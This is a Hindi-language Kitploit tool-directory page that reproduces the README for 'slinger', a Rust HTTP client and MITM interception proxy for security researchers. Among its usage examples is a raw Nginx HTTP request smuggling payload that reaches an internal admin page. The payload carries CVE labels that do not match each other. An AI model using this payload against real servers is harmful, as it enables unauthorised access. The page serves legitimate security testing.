Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
slinger — एक HTTP क्लाइंट जो विशेष रूप से सुरक्षा शोधकर्ताओं के लिए विकसित किया गया है। | Kitploit
उपकरण/GitHubGitHub/emo-crab/slinger
भेद्यता विश्लेषणवेब प्रॉक्सी और अवरोधनएपीआई सुरक्षा परीक्षणवेब सुरक्षापेनिट्रेशन टेस्टिंग
GitHubemo-crab/slinger

slinger

एक HTTP क्लाइंट जो विशेष रूप से सुरक्षा शोधकर्ताओं के लिए विकसित किया गया है।

रिपॉजिटरी देखें
3022 महीने पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
वेबसाइट

Contributors Forks Stargazers Issues MIT License crates io


Logo

slinger(投石器)

हैकर्स के लिए डिज़ाइन किया गया एक Rust HTTP क्लाइंट।
दस्तावेज़ देखें »

डेमो देखें · बग रिपोर्ट करें · सुविधा का अनुरोध करें

परियोजना के बारे में

Product Name Screen Shot

slinger एक कार्यक्षेत्र है जिसमें शामिल हैं:

slinger

हैकर्स के लिए डिज़ाइन की गई मुख्य HTTP क्लाइंट लाइब्रेरी।

  • अनुकूलन योग्य पुनर्निर्देशन नीति
  • http/https और socks5/socks5h प्रॉक्सी
  • कुकी स्टोर
  • रॉ सॉकेट अनुरोध
  • TLS के माध्यम से HTTPS

slinger-mitm

एक मैन-इन-द-मिडिल (MITM) प्रॉक्सी जो पारदर्शी HTTPS ट्रैफ़िक इंटरसेप्शन करता है, बर्प सूट की तरह।

  • बेहतर प्रमाणपत्र प्रबंधन के साथ स्वचालित CA प्रमाणपत्र जनरेशन (hudsucker से प्रेरित)
  • उच्च प्रदर्शन के लिए प्रमाणपत्र कैशिंग
  • rustls बैकएंड का उपयोग करके पारदर्शी HTTPS इंटरसेप्शन
  • ट्रैफ़िक इंटरसेप्शन और संशोधन इंटरफ़ेस
  • यादृच्छिक सीरियल नंबर और clock skew हैंडलिंग
  • slinger के सॉकेट कार्यान्वयन का पुन: उपयोग
  • न्यूनतम बाहरी निर्भरताएँ

(शीर्ष पर वापस जाएँ)

आरंभ करना

slinger (HTTP क्लाइंट) का उपयोग करना

यह उदाहरण कुछ वैकल्पिक सुविधाओं को सक्षम करता है, इसलिए आपका Cargo.toml इस तरह दिख सकता है:

root@kitploit:~
[dependencies]
slinger = { version = "0.2.9", features = ["serde", "cookie", "charset", "tls", "rustls", "gzip"] }

और फिर कोड:

root@kitploit:~
#[tokio::main]
async fn main() -> Result<(), Box<dyn std::error::Error>> {
  let resp = slinger::get("https://httpbin.org/get").await?;
  println!("{:?}", resp.text());
  Ok(())
}

slinger-mitm (MITM प्रॉक्सी) का उपयोग करना

अपने Cargo.toml में जोड़ें:

root@kitploit:~
[dependencies]
slinger-mitm = { version = "0.2.9" }
tokio = { version = "1", features = ["full"] }

उदाहरण कोड:

root@kitploit:~
use slinger_mitm::{MitmConfig, MitmProxy, Interceptor};
use std::sync::Arc;

#[tokio::main]
async fn main() -> Result<(), Box<dyn std::error::Error>> {
    let config = MitmConfig::default();
    let proxy = MitmProxy::new(config).await?;
    
    // लॉगिंग इंटरसेप्टर जोड़ें
    let handler = proxy.interceptor_handler();
    let mut h = handler.write().await;
    h.add_request_interceptor(Arc::new(Interceptor::logging()));
    drop(h);
    
    proxy.start("127.0.0.1:8080").await?;
    Ok(())
}

MITM प्रॉक्सी उपयोग के बारे में अधिक जानकारी के लिए slinger-mitm/README.md देखें।

विशेषताएँ

slinger निम्नलिखित वैकल्पिक सुविधाओं का समर्थन करता है:

  • tls - बेस TLS सुविधा (किसी विशिष्ट बैकएंड के बिना TLS प्रकार और इंटरफ़ेस सक्षम करता है)
  • rustls - Rustls का उपयोग करके HTTPS समर्थन (tls की आवश्यकता है, शुद्ध Rust कार्यान्वयन)
  • http2 - HTTP/2 प्रोटोकॉल समर्थन (TLS बैकएंड की आवश्यकता है)
  • cookie - कुकी प्रबंधन समर्थन
  • charset - कैरेक्टर एन्कोडिंग समर्थन
  • serde - सीरियलाइज़ेशन/डीसीरियलाइज़ेशन समर्थन
  • gzip - Gzip संपीड़न समर्थन
  • schema - JSON स्कीमा समर्थन

TLS बैकएंड चयन

TLS का उपयोग करने के लिए, आपको:

  1. tls सुविधा सक्षम करनी होगी
  2. rustls बैकएंड चुनना होगा, या कस्टम TLS कनेक्टर प्रदान करना होगा

सुविधा संयोजन का उदाहरण:

root@kitploit:~
# rustls बैकएंड का उपयोग करना
slinger = { version = "0.2.8", features = ["tls", "rustls"] }

# कस्टम TLS बैकएंड का उपयोग करना (CustomTlsConnector लागू करना आवश्यक है)
slinger = { version = "0.2.8", features = ["tls"] }

कस्टम TLS बैकएंड (जैसे, native-tls, OpenSSL)

यदि आप native-tls, OpenSSL, या अन्य TLS लाइब्रेरी का उपयोग करना चाहते हैं, तो आप कस्टम TLS कनेक्टर लागू कर सकते हैं। native-tls को एकीकृत करने के पूर्ण उदाहरण के लिए native_tls_example.rs देखें।

उदाहरण

  • Nginx - Http Smuggling CVE-2019-20372
root@kitploit:~
use std::io::BufRead;
use slinger::{ClientBuilder, HTTPRecord};

/// CVE-2020-11724
/// जब आप BurpSuite प्रॉक्सी का उपयोग कर रहे हैं तो "incoming request पर **Connection** हेडर सेट करें" को **अक्षम** करना होगा
const RAW: &[u8] = b"GET /test1 HTTP/1.1
Host: 192.168.83.196:8081
Content-Length: 42
Transfer-Encoding: chunked

0

GET /test1 HTTP/1.1
Host: 192.168.83.196:8081
X: GET http://192.168.83.1:8080/admin.jsp HTTP/1.0

";
#[tokio::main]
async fn main() -> Result<(), Box<dyn std::error::Error>> {
  // let proxy = slinger::Proxy::parse("http://127.0.0.1:8080").unwrap();
  let client = ClientBuilder::default().build().unwrap();
  let mut raw = Vec::new();
  // replace \n to \r\n
  for line in RAW.lines() {
    match line {
      Ok(l) => {
        raw.extend(l.as_bytes());
        raw.extend(b"\r\n")
      }
      Err(err) => {
        println!("{:?}", err);
      }
    }
  }
  let resp = client.raw("http://127.0.0.1:9015/", raw, true).send().await?;
  let record = resp.extensions().get::<Vec<HTTPRecord>>().unwrap();
  println!("{:?}", record);
  Ok(())
}

अधिक उदाहरणों के लिए कृपया example देखें।

(शीर्ष पर वापस जाएँ)

योगदान

योगदान ही ओपन सोर्स समुदाय को सीखने, प्रेरित करने और बनाने के लिए एक अद्भुत स्थान बनाते हैं। आपके द्वारा किए गए किसी भी योगदान की बहुत सराहना की जाती है।

यदि आपके पास कोई सुझाव है जो इसे बेहतर बना सकता है, तो कृपया रिपॉजिटरी को फोर्क करें और एक पुल रिक्वेस्ट बनाएँ। आप बस "enhancement" टैग के साथ एक इश्यू भी खोल सकते हैं। प्रोजेक्ट को स्टार देना न भूलें! फिर से धन्यवाद!

  1. प्रोजेक्ट को फोर्क करें
  2. अपनी फीचर ब्रांच बनाएँ (git checkout -b feature/AmazingFeature)
  3. अपने बदलाव कमिट करें (git commit -m 'Add some AmazingFeature')
  4. ब्रांच पर पुश करें (git push origin feature/AmazingFeature)
  5. पुल रिक्वेस्ट खोलें

(शीर्ष पर वापस जाएँ)

लाइसेंस

GPL-3.0-only लाइसेंस के तहत वितरित। अधिक जानकारी के लिए LICENSE देखें।

(शीर्ष पर वापस जाएँ)

संपर्क

आपका नाम - @Kali_Team - [email protected]

प्रोजेक्ट लिंक: https://github.com/emo-crab/slinger

(शीर्ष पर वापस जाएँ)

आभार

  • reqwest

(शीर्ष पर वापस जाएँ)

टूल डाउनलोड करें